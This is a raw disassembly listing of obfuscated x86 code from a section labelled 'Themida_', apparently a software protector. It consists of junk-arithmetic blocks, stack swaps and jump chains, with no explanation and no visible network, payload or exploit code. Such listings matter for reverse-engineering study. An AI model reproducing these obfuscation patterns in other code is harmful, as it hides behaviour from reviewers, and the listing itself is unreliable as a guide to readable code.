loc_55C0D0:				; CODE XREF: sub_554404+Cj
		xchg	ebp, [esp+56h+var_58+2]
		pop	esp
		push	esi
		pop	dword ptr [edx+38h]
		push	[esp+52h+var_52]
		mov	esi, [esp+56h+var_58+2]
		push	0DB4h
		jmp	loc_554B1D
; ---------------------------------------------------------------------------


loc_55C0E8:				; CODE XREF: sub_559C84+AB0j
		mov	ebx, [esp+48h+var_4A+2]
		push	edx
		jmp	loc_5563F4
; ---------------------------------------------------------------------------


loc_55C0F1:				; DATA XREF: Themida_:00553488o
		lodsd
		sub	eax, 3871499Eh
		jmp	loc_55ADCD
; ---------------------------------------------------------------------------


loc_55C0FC:				; CODE XREF: sub_559C84-2F15j
		mov	ecx, [esp+5Eh+var_60+2]
		add	esp, 4
		pop	edx
		push	esi
		jmp	loc_55C9FC
; ---------------------------------------------------------------------------


loc_55C10C:				; CODE XREF: sub_555C35+2B92j
		and	ebx, ebp
		mov	ebp, [esp+5Ah+var_5C+2]
		add	esp, 4
		push	eax
		mov	eax, 39E6E29h
		and	ebx, eax
		pop	eax
		and	ebx, 676268BBh
		push	ebp
		mov	ebp, 3023FFCh
		sub	ebx, ebp
		mov	ebp, [esp+5Ah+var_5C+2]
		jmp	loc_55B0E4
; ---------------------------------------------------------------------------


loc_55C136:				; CODE XREF: sub_559C84+2B80j
		neg	esi
		push	eax
		jmp	loc_55D756
; ---------------------------------------------------------------------------


loc_55C13E:				; CODE XREF: Themida_:00555723j
		sub	al, 43h
		add	al, bl
		push	ebx
		mov	bh, 23h
		jmp	loc_55956B
; ---------------------------------------------------------------------------


loc_55C14A:				; CODE XREF: sub_559C84+1A2j
		mov	edi, 0F4F7F5Fh
		shl	edi, 7
		neg	edi
		shr	edi, 7
		add	edi, 1C063E1Ah
		jmp	loc_553D2B
; ---------------------------------------------------------------------------


loc_55C162:				; CODE XREF: sub_559C84-531Fj
		add	ebp, 4
		push	ecx
		mov	ecx, 4
		sub	ebp, ecx
		mov	ecx, [esp+4Ah+var_4A]
		add	esp, 4
		xor	ebp, [esp+46h+var_46]
		xor	[esp+46h+var_46], ebp
		xor	ebp, [esp+46h+var_46]
		pop	esp
		mov	[esp+42h+var_42], edi
		mov	edi, 4
		add	ebp, edi
		mov	edi, [esp+42h+var_42]
		add	esp, 4
		push	eax
		mov	eax, 4
		add	ebp, eax
		pop	eax
		push	ebp
		push	[esp+42h+var_3E]
		jmp	loc_55BB81
; ---------------------------------------------------------------------------


loc_55C1A9:				; CODE XREF: sub_559AA2-31B8j
		not	eax
		shr	eax, 5
		sub	eax, 68907B00h
		inc	eax
		dec	eax
		push	esi
		mov	esi, 4D790346h
		dec	esi
		shl	esi, 5
		neg	esi
		add	esi, 757D80DDh
		add	eax, esi
		pop	esi
		jmp	loc_5541DC
; ---------------------------------------------------------------------------


loc_55C1CF:				; CODE XREF: sub_559C84+5167j
		add	edx, ebp
		pop	ebp
		xchg	edx, [esp+42h+var_42]
		pop	esp
		movsx	ecx, ax
		jmp	loc_55A630
; ---------------------------------------------------------------------------


loc_55C1DE:				; CODE XREF: sub_559C84-2810j
		push	bx
		mov	bh, 31h
		jmp	loc_556D4F
; ---------------------------------------------------------------------------


loc_55C1E7:				; CODE XREF: sub_559C84-65EBj
		xor	[esp+12h+var_14+2], esi
		xor	esi, [esp+12h+var_14+2]
		mov	esp, [esp+12h+var_14+2]
		mov	ax, word ptr [esp+12h+var_14+2]
		jmp	loc_55F7D6
; ---------------------------------------------------------------------------


loc_55C1F9:				; CODE XREF: sub_559C84+E30j
		pop	ecx
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		jmp	loc_558749
; ---------------------------------------------------------------------------


loc_55C20B:				; CODE XREF: sub_559C84-2E30j
		mov	ecx, [esp+56h+var_58+2]
		push	esi
		mov	esi, esp
		push	ebx
		mov	ebx, esp
		jmp	loc_5595D4
; ---------------------------------------------------------------------------


loc_55C219:				; CODE XREF: sub_559C84-F18j
		neg	ebp
		sub	ebp, 99F46AE2h
		xor	ecx, ebp
		jmp	loc_55C794
; ---------------------------------------------------------------------------


loc_55C228:				; CODE XREF: sub_559C84+3272j
		push	esp
		pop	ebp
		push	ebx
		mov	ebx, 43271717h
		dec	ebx
		xor	ebx, 308D7987h
		jmp	loc_55A6C3
; ---------------------------------------------------------------------------


loc_55C23C:				; CODE XREF: sub_559C84-56F8j
		add	[esp+20h+var_20], 37747E56h
		push	esi
		mov	esi, 1CAC02BDh
		sub	[esp+24h+var_20], esi
		pop	esi
		push	ebx
		mov	ebx, 0CC6158Dh
		jmp	loc_55BC22
; ---------------------------------------------------------------------------


loc_55C259:				; CODE XREF: sub_559C84+4DC9j
		push	[esp+24h+var_20]
		mov	esi, [esp+28h+var_28]
		add	esp, 4
		pop	[esp+24h+var_24]
		pop	esp
		push	15A7h
		jmp	loc_555CFF
; ---------------------------------------------------------------------------


loc_55C274:				; CODE XREF: sub_55F9FD-6D4Ej
		add	esi, 4
		xchg	esi, [esp+20h+var_20]
		jmp	loc_55979D
; ---------------------------------------------------------------------------


loc_55C27F:				; CODE XREF: Themida_:00556A11j
		mov	dh, 0A0h
		xor	dh, al
		jmp	loc_55B82C
; ---------------------------------------------------------------------------


loc_55C288:				; CODE XREF: sub_559C84-5994j
		add	esp, 4
		push	edi
		mov	edi, 44DB763Bh
		inc	edi
		neg	edi
		push	ebp
		mov	ebp, 0BB2489C6h
		xor	edi, ebp
		pop	ebp
		sub	ebp, edi
		jmp	loc_55B093
; ---------------------------------------------------------------------------
		mov	cx, word ptr [esp-10h+arg_C]
		push	4C82h
		mov	[esp-0Ch+arg_8], eax
		mov	eax, esp
		push	edi
		mov	edi, 2B514008h
		push	ebp
		mov	ebp, 2AAA0DB8h
		shl	ebp, 8
		sub	ebp, 3E5294A5h
		add	edi, ebp
		jmp	loc_559BD2
; ---------------------------------------------------------------------------


loc_55C2D1:				; CODE XREF: sub_559C84+2354j
		push	76EEh
		mov	[esp+48h+var_4A+2], eax
		mov	eax, esp
		add	eax, 4
		push	ebx
		jmp	loc_55D4AA
; ---------------------------------------------------------------------------


loc_55C2E6:				; CODE XREF: sub_559C84+138j
		mov	ebx, edx
		pop	edx
		not	ebx
		jmp	loc_55F236
; ---------------------------------------------------------------------------


loc_55C2F0:				; CODE XREF: sub_559C84+45CDj
		xor	[esp+46h+var_46], edx
		xor	edx, [esp+46h+var_46]
		mov	esp, [esp+46h+var_46]
		or	[esp+46h+var_46], eax
		pushf
		jmp	loc_55351F
; ---------------------------------------------------------------------------


loc_55C302:				; CODE XREF: sub_559C84-359Dj
		mov	esi, [esp+0]
		jmp	loc_55AFDB
; ---------------------------------------------------------------------------


loc_55C30A:				; CODE XREF: sub_559C84-70Dj
		push	esp
		pop	edx
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+62h+var_64+2]
		pop	esp
		push	edx
		jmp	loc_555551
; ---------------------------------------------------------------------------


loc_55C31F:				; CODE XREF: sub_559C84-4B7Cj
		push	ebp
		jmp	loc_55A270
; ---------------------------------------------------------------------------


loc_55C325:				; CODE XREF: sub_559C84-416Cj
		xor	edx, 48C14AF0h
		xor	edx, 51EE5BB1h
		jmp	sub_55DE4E
; ---------------------------------------------------------------------------


loc_55C336:				; CODE XREF: sub_559C84-299Aj
		push	edx
		jmp	loc_55AB85
; ---------------------------------------------------------------------------


loc_55C33C:				; CODE XREF: sub_559C84+5D2Bj
		mov	edx, 3ED14A34h
		mov	ebx, 0CB43D00Bh
		add	ebx, edx
		pop	edx
		push	esi
		mov	esi, 21EA6207h
		or	ebx, esi
		jmp	loc_55EE87
; ---------------------------------------------------------------------------


loc_55C356:				; CODE XREF: sub_559C84+594Aj
		mov	[esp+2+var_4+2], esi
		jmp	loc_558C73
; ---------------------------------------------------------------------------


loc_55C35E:				; CODE XREF: sub_55895E-50EDj
		add	edi, ebp
		pop	ebp
		xchg	edi, [esp+0]
		jmp	loc_55D6B9
; ---------------------------------------------------------------------------


loc_55C369:				; CODE XREF: sub_559C84-4738j
		mov	esp, [esp+4+var_4]
		jmp	loc_55712D
; ---------------------------------------------------------------------------


loc_55C371:				; CODE XREF: sub_559C84+3F4Dj
		add	ebx, 52830424h
		mov	ecx, ebx
		pop	ebx
		mov	ebx, 8EC72F3Ch
		sub	ebx, ecx
		pop	ecx
		not	ebx
		sub	ebx, 0BA7659Bh
		shl	ebx, 2
		xchg	ebp, ebx
		not	ebp
		xchg	ebp, ebx
		jmp	loc_55B755
; ---------------------------------------------------------------------------


loc_55C398:				; CODE XREF: sub_559C84-3321j
		xchg	edx, [esp+0]
		pop	esp
		jmp	loc_55FB8B
; ---------------------------------------------------------------------------


loc_55C3A1:				; CODE XREF: sub_559C84-315Dj
		pop	ecx
		jmp	loc_554A70
; ---------------------------------------------------------------------------


loc_55C3A7:				; CODE XREF: sub_559C84-89Ej
		pop	edx
		pop	ebp
		xchg	eax, [esp+1Ah+var_1C+2]
		mov	esp, [esp+1Ah+var_1C+2]
		imul	cx, ax
		push	cx
		pushf
		jmp	loc_55351F
; ---------------------------------------------------------------------------


loc_55C3BB:				; CODE XREF: sub_559C84+16CFj
		mov	edx, 277D3AA7h
		mov	esi, edx
		pop	edx
		jmp	loc_55A358
; ---------------------------------------------------------------------------


loc_55C3C8:				; CODE XREF: sub_559C84+4087j
		inc	ebx
		xor	ebx, 0EDC1155h
		xor	ebx, 5D94B254h
		add	edx, ebx
		pop	ebx
		xchg	edi, edx
		not	edi
		xchg	edi, edx
		sub	edx, 0FFFFFFFFh
		add	edx, 0D47611E6h
		sub	eax, edx
		mov	edx, [esp+0]
		jmp	loc_55EC96
; ---------------------------------------------------------------------------
		push	[esp+arg_0]
		jmp	loc_554553
; ---------------------------------------------------------------------------


loc_55C3FD:				; CODE XREF: sub_559C84+17AFj
		push	593Bh
		mov	[esp+5Ch+var_5C], ecx
		jmp	loc_55DE6E
; ---------------------------------------------------------------------------


loc_55C40A:				; CODE XREF: sub_559C84+53F9j
		xchg	ebp, [esp+5Ch+var_5C]
		jmp	loc_55B3BE
; ---------------------------------------------------------------------------


loc_55C412:				; CODE XREF: Themida_:0055518Ej
		push	esp
		mov	ebp, [esp+60h+var_60]
		jmp	loc_55B0D1
; ---------------------------------------------------------------------------


loc_55C41B:				; CODE XREF: sub_559C84-2B8Fj
		push	edi
		mov	edi, 18695248h
		sub	edi, 516B1F1Bh
		xor	edi, 336D116Fh
		sub	edi, 82380346h
		add	ebx, 474B107Dh
		sub	ebx, edi
		sub	ebx, 474B107Dh
		pop	edi
		jmp	loc_5586C2
; ---------------------------------------------------------------------------


loc_55C447:				; CODE XREF: Themida_:0055833Dj
		jmp	loc_55351F
; ---------------------------------------------------------------------------


loc_55C44C:				; CODE XREF: sub_559C84+1Bj
		mov	[esp+62h+var_64+2], ecx
		jmp	loc_55DB2F
; ---------------------------------------------------------------------------


loc_55C454:				; CODE XREF: sub_5555E0+1j
		mov	ebp, 743F5127h
		shl	ebp, 3
		jmp	loc_556941
; ---------------------------------------------------------------------------


loc_55C461:				; DATA XREF: Themida_:005534A4o
		push	[esp+62h+var_64+2]
		pop	ecx
		sub	esp, 4
		mov	[esp+0], ecx
		mov	ecx, esp
		push	ebx
		mov	ebx, 253448C2h
		jmp	loc_558764
; ---------------------------------------------------------------------------


loc_55C47B:				; CODE XREF: sub_559C84-82Aj
		xor	[esp+50h+var_52+2], edi
		xor	edi, [esp+50h+var_52+2]
		jmp	loc_55E1AD
; ---------------------------------------------------------------------------


loc_55C486:				; CODE XREF: sub_559C84-57B8j
		sub	ecx, 0B3CF4481h
		sub	ebx, 27AF0100h
		sub	ebx, ecx
		add	ebx, 27AF0100h
		jmp	loc_5573E2
; ---------------------------------------------------------------------------


loc_55C49F:				; DATA XREF: Themida_:00553270o
		lodsd
		jmp	loc_5549C3
; ---------------------------------------------------------------------------


loc_55C4A5:				; CODE XREF: sub_559C84-F3Dj
		push	edi
		mov	edi, esi
		mov	ebp, edi
		pop	edi
		pop	esi
		jmp	loc_55D847
; ---------------------------------------------------------------------------


loc_55C4B1:				; CODE XREF: sub_559C84+43ACj
		mov	bh, ch
		pop	ecx
		push	ecx
		sub	esp, 4
		mov	[esp+0], edx
		mov	dh, bh
		mov	cl, dh
		pop	edx
		jmp	loc_55C617
; ---------------------------------------------------------------------------


loc_55C4C5:				; CODE XREF: sub_559C84-4414j
		mov	ax, word ptr [esp+40h+var_42+2]
		push	ebp
		push	esp
		mov	ebp, [esp+48h+var_4A+2]
		jmp	loc_55DC9D
; ---------------------------------------------------------------------------


loc_55C4D3:				; CODE XREF: sub_559C84+5407j
		mov	esi, 0A01628Fh
		add	esi, 2BCE1E83h
		sub	esi, eax
		sub	esi, 2BCE1E83h
		pop	eax
		not	esi
		neg	esi
		push	eax
		mov	eax, 739258C6h
		sub	esi, eax
		push	[esp+48h+var_4A+2]
		jmp	loc_559E6F
; ---------------------------------------------------------------------------


loc_55C4FB:				; CODE XREF: sub_559C84-AF2j
		mov	esi, [esp+2Ah+var_2C+2]
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_557C53
; ---------------------------------------------------------------------------


loc_55C50C:				; CODE XREF: sub_559C84+2B9Cj
		mov	ch, 99h
		push	edx
		mov	dl, 93h
		sub	al, 45h
		sub	al, 0E7h
		add	al, dl
		add	al, 0E7h
		add	al, 45h
		pop	edx
		add	al, ch
		sub	al, 93h
		jmp	loc_559C4B
; ---------------------------------------------------------------------------


loc_55C525:				; CODE XREF: sub_559C84-124Aj
		push	ecx
		jmp	loc_55A1F5
; ---------------------------------------------------------------------------


loc_55C52B:				; CODE XREF: sub_559C84+1FCAj
		mov	[esp+48h+var_4A+2], esi
		push	6F76h
		mov	[esp+4Ch+var_4E+2], ebp
		pop	esi
		pop	ebp
		xor	eax, esi
		xor	esi, eax
		xor	eax, esi
		push	151h
		mov	[esp+48h+var_4A+2], ebp
		sub	esp, 4
		mov	[esp+4Ch+var_4E+2], ecx
		push	ebx
		jmp	sub_5555E0
; ---------------------------------------------------------------------------


loc_55C555:				; CODE XREF: sub_559C84+576Aj
		push	edi
		jmp	loc_559E2B
; ---------------------------------------------------------------------------


loc_55C55B:				; CODE XREF: sub_555BE3+1BECj
		push	332Eh
		mov	[esp+58h+var_58], esp
		add	[esp+58h+var_58], 4
		pop	edi
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp+0]
		jmp	loc_557574
; ---------------------------------------------------------------------------


loc_55C57C:				; CODE XREF: sub_559C84+5AFBj
		not	eax
		sub	eax, 0EBEACFE4h
		add	esi, eax
		pop	eax
		sub	esi, 4
		xchg	esi, [esp+50h+var_52+2]
		pop	esp
		jmp	loc_55EC1E
; ---------------------------------------------------------------------------


loc_55C595:				; CODE XREF: sub_559C84+5B4Dj
		push	7B39h
		mov	[esp+50h+var_52+2], ebp
		mov	ebp, 5AFB48D9h
		push	ebx
		mov	ebx, ebp
		push	7CF8h
		mov	[esp+58h+var_58], ebx
		push	ebx
		mov	ebx, 7A415FCFh
		sub	[esp+5Ch+var_58], ebx
		pop	ebx
		pop	edi
		add	edi, 7A415FCFh
		jmp	loc_556F86
; ---------------------------------------------------------------------------


loc_55C5C4:				; CODE XREF: sub_559C84+1B65j
		xor	esi, 50006BB2h
		mov	ebx, esi
		pop	esi
		jmp	loc_55AAE9
; ---------------------------------------------------------------------------


loc_55C5D2:				; CODE XREF: sub_559C84-3743j
		mov	edx, ebx
		pop	ebx
		sub	edx, 245366CDh
		sub	edx, 53B02ABAh
		jmp	loc_55E070
; ---------------------------------------------------------------------------


loc_55C5E6:				; CODE XREF: sub_559C84+59EAj
		push	[esp+4Ch+var_4E+2]
		pop	ebp
		jmp	loc_55F42D
; ---------------------------------------------------------------------------


loc_55C5EF:				; CODE XREF: Themida_:00558589j
		add	ebp, 4
		add	ebp, 4
		jmp	loc_55F69F
; ---------------------------------------------------------------------------


loc_55C5FD:				; CODE XREF: sub_559C84-1AB4j
		mov	eax, 390533C3h
		shl	eax, 8
		jmp	loc_5558E3
; ---------------------------------------------------------------------------


loc_55C60A:				; CODE XREF: sub_559C84-4391j
		xor	edx, [esp+44h+var_46+2]
		pop	esp
		shr	[esp+40h+var_42+2], cl
		pushf
		jmp	loc_555973
; ---------------------------------------------------------------------------


loc_55C617:				; CODE XREF: sub_559C84+283Cj
		push	ebx
		jmp	loc_55952C
; ---------------------------------------------------------------------------


loc_55C61D:				; CODE XREF: sub_559C84+5AD3j
		pop	esi
		jmp	loc_55E040
; ---------------------------------------------------------------------------


loc_55C623:				; CODE XREF: Themida_:0055DE84j
		push	edx
		push	esi
		mov	esi, 75D9477Ah
		add	esi, 76E60775h
		xor	esi, 4FFE44D7h
		shl	esi, 6
		xor	esi, 0D753EFE1h
		jmp	loc_55CE55
; ---------------------------------------------------------------------------


loc_55C644:				; DATA XREF: Themida_:00553240o
		mov	ax, word ptr [esp+3Ah+var_3A]
		push	64A5h
		mov	[esp+3Eh+var_3E], ecx
		push	esp
		pop	ecx
		push	6319h
		mov	[esp+42h+var_42], edx
		mov	edx, 4
		jmp	loc_553911
; ---------------------------------------------------------------------------


loc_55C664:				; CODE XREF: sub_559C84-592j
		sub	edi, 0AE30E515h
		sub	ecx, 195A52B4h
		jmp	loc_55A36E
; ---------------------------------------------------------------------------


loc_55C675:				; CODE XREF: sub_559C84-66C4j
		add	edi, ecx
		pop	ecx
		jmp	loc_558B61
; ---------------------------------------------------------------------------


loc_55C67D:				; CODE XREF: sub_559C84-2087j
		pop	ebp
		sub	ebx, edx
		pop	edx
		push	edx
		jmp	loc_55BE1F
; ---------------------------------------------------------------------------


loc_55C687:				; CODE XREF: sub_559C84+1FA5j
		sub	esp, 4
		mov	[esp+50h+var_52+2], eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+50h+var_52+2]
		mov	esp, [esp+50h+var_52+2]
		jmp	loc_554B2D
; ---------------------------------------------------------------------------


loc_55C6A5:				; CODE XREF: Themida_:005582D0j
		sub	esp, 4
		mov	[esp+0], eax
		mov	eax, 1C40328Fh
		not	eax
		dec	eax
		add	eax, 1C403295h
		push	eax
		sub	[esp+58h+var_58], 55307D7Ch
		jmp	loc_55E9ED
; ---------------------------------------------------------------------------


loc_55C6C8:				; CODE XREF: sub_559C84-606Bj
		xor	ecx, [esp+18h+var_18]
		mov	esp, [esp+18h+var_18]
		jmp	loc_55495B
; ---------------------------------------------------------------------------


loc_55C6D3:				; CODE XREF: sub_55698E+AA0j
		shr	ch, 7
		or	ch, 0Bh
		jmp	loc_55F5A9
; ---------------------------------------------------------------------------


loc_55C6DE:				; CODE XREF: sub_559C84-3C1Ej
		shl	edx, 1
		sub	esp, 4
		mov	[esp+3Ah+var_3A], eax
		push	2C1Eh
		mov	[esp+3Eh+var_3E], esi
		mov	esi, 151E6716h
		push	7A89h
		mov	[esp+42h+var_42], ebx
		mov	ebx, 191A092Bh
		add	esi, ebx
		jmp	loc_55A1CB
; ---------------------------------------------------------------------------


loc_55C70A:				; CODE XREF: sub_559C84-3B70j
		mov	[esp+40h+var_42+2], edx
		mov	edx, esp
		jmp	loc_55E619
; ---------------------------------------------------------------------------


loc_55C714:				; CODE XREF: sub_559C84-2AB2j
		mov	ebp, [esp-16h+arg_10+2]
		jmp	loc_55D778
; ---------------------------------------------------------------------------


loc_55C71C:				; CODE XREF: sub_559C84+4B6j
		mov	ebp, esi
		jmp	loc_555980
; ---------------------------------------------------------------------------


loc_55C723:				; CODE XREF: sub_559C84-1041j
		sub	esp, 4
		jmp	loc_556DF1
; ---------------------------------------------------------------------------


loc_55C72B:				; CODE XREF: sub_556F29-26C9j
		shr	ebx, 4
		dec	ebx
		jmp	loc_559D67
; ---------------------------------------------------------------------------


loc_55C734:				; CODE XREF: sub_559C84-80Aj
		mov	al, 0D1h
		dec	al
		xchg	dl, al
		not	dl
		xchg	dl, al
		xor	al, 1
		sub	al, 0D8h
		sub	al, 0C6h
		add	al, 0D0h
		sub	bl, al
		pop	eax
		jmp	loc_554774
; ---------------------------------------------------------------------------


loc_55C74E:				; CODE XREF: sub_559C84+2DDAj
		xor	edi, esi
		pop	esi
		jmp	loc_557E78
; ---------------------------------------------------------------------------


loc_55C756:				; CODE XREF: sub_559C84+1E25j
		mov	ebp, 7AB20A94h
		jmp	loc_55A619
; ---------------------------------------------------------------------------


loc_55C760:				; CODE XREF: sub_55F275+184j
		sub	dword ptr [esp+4], 4C0A61B2h
		add	[esp+4], ebx
		add	dword ptr [esp+4], 4C0A61B2h
		pop	ebx
		mov	ebp, [esp+0]
		add	esp, 4
		push	ecx
		mov	ecx, 4
		jmp	loc_55F0DE
; ---------------------------------------------------------------------------


loc_55C789:				; CODE XREF: sub_55F86E+8j
		mov	ebp, [esp+0]
		add	esp, 4
		jmp	loc_55B83C
; ---------------------------------------------------------------------------


loc_55C794:				; CODE XREF: sub_559C84+259Fj
		mov	ebp, [esp+2Eh+var_30+2]
		add	esp, 4
		mov	edx, ecx
		pop	ecx
		jmp	loc_555DA3
; ---------------------------------------------------------------------------


loc_55C7A2:				; CODE XREF: sub_559C84+31F4j
		add	edi, 15CFC221h
		shr	edi, 1
		jmp	loc_55F596
; ---------------------------------------------------------------------------


loc_55C7AF:				; CODE XREF: sub_559C84-135j
		not	esi
		xor	esi, 45636D75h
		sub	esi, 81740E3Eh
		add	ebp, 40AE73A2h
		sub	ebp, esi
		sub	ebp, 40AE73A2h
		jmp	loc_557DE7
; ---------------------------------------------------------------------------


loc_55C7D0:				; CODE XREF: sub_559C84-395Fj
		xor	al, dl
		pop	edx
		push	ecx
		mov	ch, 99h
		xor	ch, 40h
		add	ch, 0FFh
		jmp	loc_55D5F6
; ---------------------------------------------------------------------------


loc_55C7E1:				; CODE XREF: sub_559C84+5F9Cj
		add	esp, 4
		sub	ebx, ebp
		pop	ebp
		push	ecx
		mov	ecx, 213B1A36h
		jmp	loc_55592C
; ---------------------------------------------------------------------------


loc_55C7F5:				; CODE XREF: sub_5547B0+24A3j
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+40h+var_42+2]
		pop	esp
		jmp	loc_55C136
; ---------------------------------------------------------------------------


loc_55C809:				; CODE XREF: sub_559C84-456Fj
		mov	al, 63h
		or	al, 6Eh
		jmp	loc_55B15F
; ---------------------------------------------------------------------------


loc_55C812:				; CODE XREF: sub_559C84+32C5j
		add	esp, 4
		jmp	loc_55F3B3
; ---------------------------------------------------------------------------


loc_55C81A:				; CODE XREF: sub_559C84-1365j
		sub	al, ch
		pop	ecx
		sub	al, bl
		push	ecx
		jmp	loc_55C50C
; ---------------------------------------------------------------------------


loc_55C825:				; CODE XREF: sub_559C84-21B8j
		dec	ecx
		or	ecx, 103338EAh
		jmp	loc_5549FD
; ---------------------------------------------------------------------------


loc_55C831:				; CODE XREF: sub_559C84-53ADj
		mov	eax, [esp+4Ch+var_4E+2]
		add	esp, 4
		jmp	loc_553DE1
; ---------------------------------------------------------------------------


loc_55C83F:				; CODE XREF: sub_557B4C+Aj
		mov	ebx, [esp+48h+var_4A+2]
		jmp	loc_55AD3A
; ---------------------------------------------------------------------------


loc_55C847:				; CODE XREF: sub_559C84-4731j
		add	edx, 4
		push	edi
		push	eax
		push	43F12FF1h
		jmp	loc_55F7FE
; ---------------------------------------------------------------------------
byte_55C859	db 66h,	8Bh, 4		; DATA XREF: Themida_:0055327Co
		dd 26C96824h, 3C890000h, 38CB6824h, 77E90000h
		db 9Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55C86F:				; CODE XREF: sub_559C84+B06j
		push	ecx
		mov	ecx, 3F885891h
		push	1D0Ch
		mov	[esp+58h+var_58], eax
		mov	eax, 6BE6671Dh
		jmp	loc_5569F5
; ---------------------------------------------------------------------------


loc_55C887:				; CODE XREF: sub_559C84+1707j
		add	ebx, 0FFFFFFFFh
		jmp	loc_55CE5D
; ---------------------------------------------------------------------------


loc_55C892:				; CODE XREF: sub_559C84+5C16j
		add	al, 1Ah
		mov	dx, word ptr [esp+10h+var_10]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 2
		xchg	eax, [esp+14h+var_14]
		mov	esp, [esp+14h+var_14]
		add	bl, 0D5h
		add	bl, 4
		sub	bl, al
		sub	bl, 4
		sub	esp, 4
		jmp	loc_554509
; ---------------------------------------------------------------------------


loc_55C8BE:				; CODE XREF: sub_559C84-5311j
		sub	al, 0C7h
		jmp	loc_55CC51
; ---------------------------------------------------------------------------
		mov	cx, word ptr [esp+46h+var_46]
		sub	esp, 4
		mov	[esp+4Ah+var_4A], ebp
		push	esp
		jmp	loc_55B22F
; ---------------------------------------------------------------------------


loc_55C8D5:				; CODE XREF: sub_559C84-4EB5j
		pop	esi
		xor	eax, [esp+4Ah+var_4A]
		xor	[esp+4Ah+var_4A], eax
		xor	eax, [esp+4Ah+var_4A]
		pop	esp
		push	ebp
		mov	ebp, 16C7999h
		and	ebp, 5960748Fh
		jmp	loc_556C31
; ---------------------------------------------------------------------------


loc_55C8F1:				; CODE XREF: Themida_:0055E47Bj
		mov	esi, 3B0B511Bh
		jmp	loc_555BCF
; ---------------------------------------------------------------------------


loc_55C8FB:				; CODE XREF: sub_559C84-6589j
		mov	edx, ecx
		mov	ecx, [esp+16h+var_18+2]
		add	esp, 4
		jmp	loc_55FA1D
; ---------------------------------------------------------------------------


loc_55C90B:				; CODE XREF: Themida_:005562E1j
		sub	ebx, 276620A8h
		shr	ebx, 6
		not	ebx
		xor	ebx, 0FEF0E77Bh
		add	ecx, ebx
		pop	ebx
		add	ecx, 2
		push	6B7Dh
		mov	[esp+12h+var_14+2], ecx
		push	[esp+12h+var_10+2]
		pop	ecx
		jmp	loc_5596BF
; ---------------------------------------------------------------------------


loc_55C934:				; CODE XREF: sub_559C84+34ECj
		pop	[esp+12h+var_14+2]
		jmp	loc_55F326
; ---------------------------------------------------------------------------


loc_55C93C:				; CODE XREF: sub_559C84+3CB6j
		push	edi
		mov	edi, 3F280832h
		mov	ebp, edi
		jmp	loc_5594A7
; ---------------------------------------------------------------------------


loc_55C949:				; CODE XREF: sub_55E34A+6j
		shl	ebx, 3
		xor	ebx, 563F1119h
		jmp	loc_558DA6
; ---------------------------------------------------------------------------


loc_55C957:				; CODE XREF: sub_559C84+3B7Bj
		pop	ax
		xor	dh, 0A9h
		jmp	loc_55409C
; ---------------------------------------------------------------------------


loc_55C961:				; CODE XREF: sub_559C84+3659j
		pop	eax
		jmp	loc_55EE06
; ---------------------------------------------------------------------------


loc_55C967:				; CODE XREF: sub_559C84+56CDj
		sub	edi, 4CBE0813h
		add	edi, edx
		add	edi, 4CBE0813h
		add	edi, 30441D05h
		push	[esp+0Ch+var_C]
		jmp	loc_55AF4C
; ---------------------------------------------------------------------------


loc_55C983:				; CODE XREF: sub_559C84-673Aj
		sub	al, 0BFh
		push	edx
		jmp	loc_55853A
; ---------------------------------------------------------------------------


loc_55C98B:				; CODE XREF: sub_559C84-169Bj
		test	ecx, eax
		pushf
		jmp	loc_55E136
; ---------------------------------------------------------------------------


loc_55C993:				; CODE XREF: sub_559C84+1D18j
		push	ecx
		mov	ecx, esp
		push	ebx
		mov	ebx, 0E48124Dh
		inc	ebx
		inc	ebx
		xchg	edi, ebx
		not	edi
		xchg	edi, ebx
		xor	ebx, 0F1B7EDB4h
		jmp	loc_5540F7
; ---------------------------------------------------------------------------


loc_55C9AF:				; CODE XREF: sub_559C84-3DC8j
		add	ebx, 441A1E87h
		push	edx
		push	4C222831h
		pop	edx
		sub	esp, 4
		mov	[esp+52h+var_52], ecx
		push	66F13949h
		pop	ecx
		neg	ecx
		xor	ecx, 509B66ADh
		jmp	loc_5581D5
; ---------------------------------------------------------------------------


loc_55C9D5:				; CODE XREF: sub_559C84-1CFEj
		or	eax, eax
		jz	sub_557ED1
		push	dword ptr [edi+1Ch]
		push	15BFh
		mov	[esp+40h+var_42+2], esi
		jmp	loc_55A67A
; ---------------------------------------------------------------------------


loc_55C9ED:				; CODE XREF: Themida_:0055E4A3j
		pop	ebp
		push	esi
		mov	esi, esp
		push	eax
		mov	eax, 7CCE1CD7h
		jmp	loc_55F779
; ---------------------------------------------------------------------------


loc_55C9FC:				; CODE XREF: sub_559C84+2483j
		push	104C57A3h
		jmp	loc_55A133
; ---------------------------------------------------------------------------


loc_55CA06:				; CODE XREF: sub_559C84-5BDAj
		push	ebx
		jmp	loc_55640E
; ---------------------------------------------------------------------------


loc_55CA0C:				; CODE XREF: sub_559C84+5EEAj
		mov	esp, [esp+6+var_8+2]
		jmp	loc_55DD70
; ---------------------------------------------------------------------------


loc_55CA14:				; CODE XREF: sub_559C84-1C24j
		inc	edi
		inc	edi
		sub	edi, 6F23C0Bh
		mov	ebp, edi
		pop	edi
		shl	ebp, 2
		dec	ebp
		sub	ebp, 4C3D34D6h
		sub	ebp, 4B3FAE29h
		add	eax, ebp
		pop	ebp
		push	ebp
		push	ecx
		push	ebx
		jmp	loc_556DA7
; ---------------------------------------------------------------------------


loc_55CA3A:				; CODE XREF: sub_559C84-5EF8j
		push	edi
		mov	edi, 2C7D66AEh
		inc	edi
		shl	edi, 1
		and	edi, 1E6D6BBBh
		add	edi, 309929B2h
		inc	edi
		push	esi
		mov	esi, 632E0367h
		not	esi
		add	esi, 0AC2F7631h
		jmp	loc_55C74E
; ---------------------------------------------------------------------------


loc_55CA63:				; CODE XREF: sub_55DBF3-61B2j
		pop	esp
		mov	esi, [esp+1Ch+var_1C]
		push	esi
		mov	esi, esp
		add	esi, 4
		push	eax
		jmp	loc_556598
; ---------------------------------------------------------------------------


loc_55CA76:				; DATA XREF: Themida_:0055328Co
		mov	cx, word ptr [esp+24h+var_24]
		jmp	sub_555BE3
; ---------------------------------------------------------------------------
